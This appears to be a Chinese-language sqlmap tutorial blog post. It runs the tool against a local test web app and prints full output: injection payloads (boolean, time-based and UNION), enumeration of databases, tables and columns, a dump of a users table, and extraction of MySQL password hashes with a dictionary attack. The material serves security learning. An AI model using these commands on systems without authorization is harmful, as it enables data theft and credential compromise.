sqlmap

安装

pip install sqlmap

查看帮助文档

sqlmap -hh

中文文档

https://sqlmap.campfire.ga/

直连数据库

服务型数据库(mysql)

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

sqlmap -d "mysql://root:[email protected]:3306/uniapp_shop" -f --banner --dbs --users

文件型数据库(sqlite)

DBMS://DATABASE_FILEPATH

sqlmap -d "sqlite3://D:\apiTestDjango\db.sqlite3" -f --banner --dbs --tables

初级实战

1. 扫描注入点

命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1

(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.5.5#pip}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:34:37 /2021-05-14/

[13:34:37] [INFO] resuming back-end DBMS 'mysql'
[13:34:37] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: newid=13 AND 6236=6236

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newid=13 AND (SELECT 8333 FROM (SELECT(SLEEP(5)))cUBu)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: newid=13 UNION ALL SELECT CONCAT(0x716a6a7a71,0x664e6179557179534a494d4b7a6a4b4263744562646f716151716744516c75476f6774666345424e,0x71786b7a71),NULL,NULL,NULL,NULL-- -
---
[13:34:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:34:37] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'

[*] ending @ 13:34:37 /2021-05-14/
# Title: Generic UNION query (NULL) - 5 columns 注入点

2. 根据注入点查到全部数据库 --dbs

命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --dbs

(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.5#pip}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:40:12 /2021-05-14/

[13:40:12] [INFO] resuming back-end DBMS 'mysql'
[13:40:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: newid=13 AND 6236=6236

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newid=13 AND (SELECT 8333 FROM (SELECT(SLEEP(5)))cUBu)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: newid=13 UNION ALL SELECT CONCAT(0x716a6a7a71,0x664e6179557179534a494d4b7a6a4b4263744562646f716151716744516c75476f6774666345424e,0x71786b7a71),NULL,NULL,NULL,NULL-- -
---
[13:40:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:40:12] [INFO] fetching database names
available databases [6]:
[*] atplant
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] uniapp_shop

[13:40:12] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'

[*] ending @ 13:40:12 /2021-05-14/

3. 根据指定数据库来查所有表

命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop --tables

(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.5#pip}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:57:46 /2021-05-14/

[14:57:47] [INFO] resuming back-end DBMS 'mysql'
[14:57:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newid=1 AND (SELECT 3711 FROM (SELECT(SLEEP(5)))aMmf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: newid=1 UNION ALL SELECT NULL,CONCAT(0x7162626b71,0x456a5258416472737a767a5a6d624b5448444b52745770566c4e67646c58666d474376737a6f476c,0x7170706271),NULL,NULL,NULL-- -
---
[14:57:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:57:47] [INFO] fetching tables for database: 'uniapp_shop'
Database: uniapp_shop
[36 tables]
+----------------------------+
| dt_article                 |
| dt_article_albums          |
| dt_article_attach          |
| dt_article_attribute_field |
| dt_article_attribute_value |
| dt_article_category        |
| dt_article_comment         |
| dt_brands                  |
| dt_channel                 |
| dt_channel_field           |
| dt_channel_site            |
| dt_express                 |
| dt_feedback                |
| dt_link                    |
| dt_mail_template           |
| dt_manager                 |
| dt_manager_log             |
| dt_manager_role            |
| dt_manager_role_value      |
| dt_navigation              |
| dt_order_goods             |
| dt_orders                  |
| dt_payment                 |
| dt_sms_template            |
| dt_user_amount_log         |
| dt_user_attach_log         |
| dt_user_code               |
| dt_user_group_price        |
| dt_user_groups             |
| dt_user_login_log          |
| dt_user_message            |
| dt_user_oauth              |
| dt_user_oauth_app          |
| dt_user_point_log          |
| dt_user_recharge           |
| dt_users                   |
+----------------------------+

[14:57:47] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'

[*] ending @ 14:57:47 /2021-05-14/

3.根据表来爆字段(mysql版本>5.0)

命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop -T dt_users --columns

(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop -T dt_users --columns
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.5#pip}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:59:01 /2021-05-14/

[14:59:01] [INFO] resuming back-end DBMS 'mysql'
[14:59:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newid=1 AND (SELECT 3711 FROM (SELECT(SLEEP(5)))aMmf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: newid=1 UNION ALL SELECT NULL,CONCAT(0x7162626b71,0x456a5258416472737a767a5a6d624b5448444b52745770566c4e67646c58666d474376737a6f476c,0x7170706271),NULL,NULL,NULL-- -
---
[14:59:01] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:59:01] [INFO] fetching columns for table 'dt_users' in database 'uniapp_shop'
Database: uniapp_shop
Table: dt_users
[22 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| exp       | int          |
| address   | varchar(255) |
| amount    | double       |
| area      | varchar(255) |
| avatar    | varchar(255) |
| birthday  | timestamp    |
| email     | varchar(50)  |
| group_id  | int          |
| id        | int          |
| mobile    | varchar(20)  |
| msn       | varchar(100) |
| nick_name | varchar(100) |
| password  | varchar(100) |
| point     | int          |
| qq        | varchar(20)  |
| reg_ip    | varchar(20)  |
| reg_time  | timestamp    |
| salt      | varchar(20)  |
| sex       | varchar(20)  |
| status    | int          |
| telphone  | varchar(50)  |
| user_name | varchar(100) |
+-----------+--------------+

[14:59:02] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'

[*] ending @ 14:59:02 /2021-05-14/

4. 根据字段名查到表中的数据


命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --batch -D uniapp_shop -T dt_users -C user_name,id --dump

(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --batch -D uniapp_shop -T dt_users -C user_name,id --dump
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.5#pip}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:03:52 /2021-05-14/

[15:03:52] [INFO] resuming back-end DBMS 'mysql'
[15:03:52] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newid=1 AND (SELECT 3711 FROM (SELECT(SLEEP(5)))aMmf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: newid=1 UNION ALL SELECT NULL,CONCAT(0x7162626b71,0x456a5258416472737a767a5a6d624b5448444b52745770566c4e67646c58666d474376737a6f476c,0x7170706271),NULL,NULL,NULL-- -
---
[15:03:52] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:03:52] [INFO] fetching entries of column(s) 'id,user_name' for table 'dt_users' in database 'uniapp_shop'
Database: uniapp_shop
Table: dt_users
[1 entry]
+-----------+----+
| user_name | id |
+-----------+----+
| test      | 1  |
+-----------+----+

[15:03:53] [INFO] table 'uniapp_shop.dt_users' dumped to CSV file 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1\dump\uniapp_shop\dt_users.csv'
[15:03:53] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'

[*] ending @ 15:03:53 /2021-05-14/

5. 获取当前数据库用户及hash密码

命令: sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --passwords

(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --passwords
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.5#pip}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:40:02 /2021-05-14/

[14:40:02] [INFO] resuming back-end DBMS 'mysql'
[14:40:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: newid=13 AND 6236=6236

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newid=13 AND (SELECT 8333 FROM (SELECT(SLEEP(5)))cUBu)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: newid=13 UNION ALL SELECT CONCAT(0x716a6a7a71,0x664e6179557179534a494d4b7a6a4b4263744562646f716151716744516c75476f6774666345424e,0x71786b7a71),NULL,NULL,NULL,NULL-- -
---
[14:40:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:40:02] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[14:40:05] [WARNING] no clear password(s) found
database management system users password hashes:
[*] develop [1]:
    password hash: $A$005$~W\\u0005K\\u000b\\u0017d\\u0013\\u0002*4j_s Qg\\u0007\\u0015\\u0001GlIeJWW2iJzFpb0bGTlr5.6kBD1hAQt2iQefbUbepKD
[*] mysql.infoschema [1]:
    password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] mysql.session [1]:
    password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] mysql.sys [1]:
    password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] root [2]:
    password hash: $A$005$\\u0013`|dCsg\\u0001^)_s\\u001dL\\u0010n-jx^61Eh8FZrw86xs/5fy7xSwpJ9rmmaZ9iyou1PCK74aRC
    password hash: $A$005$z#r<]P\\u000eneGN\\u0014P_m\\u0007tk&av.YQwaEJ5AqX5Mv9.OiaWV/IlOiYM.C3veKIaAjpwq3

[14:40:05] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'

[*] ending @ 14:40:05 /2021-05-14/

最后

参考资料

sqlmap中文文档
sql注入实战讲解

05-15 04:47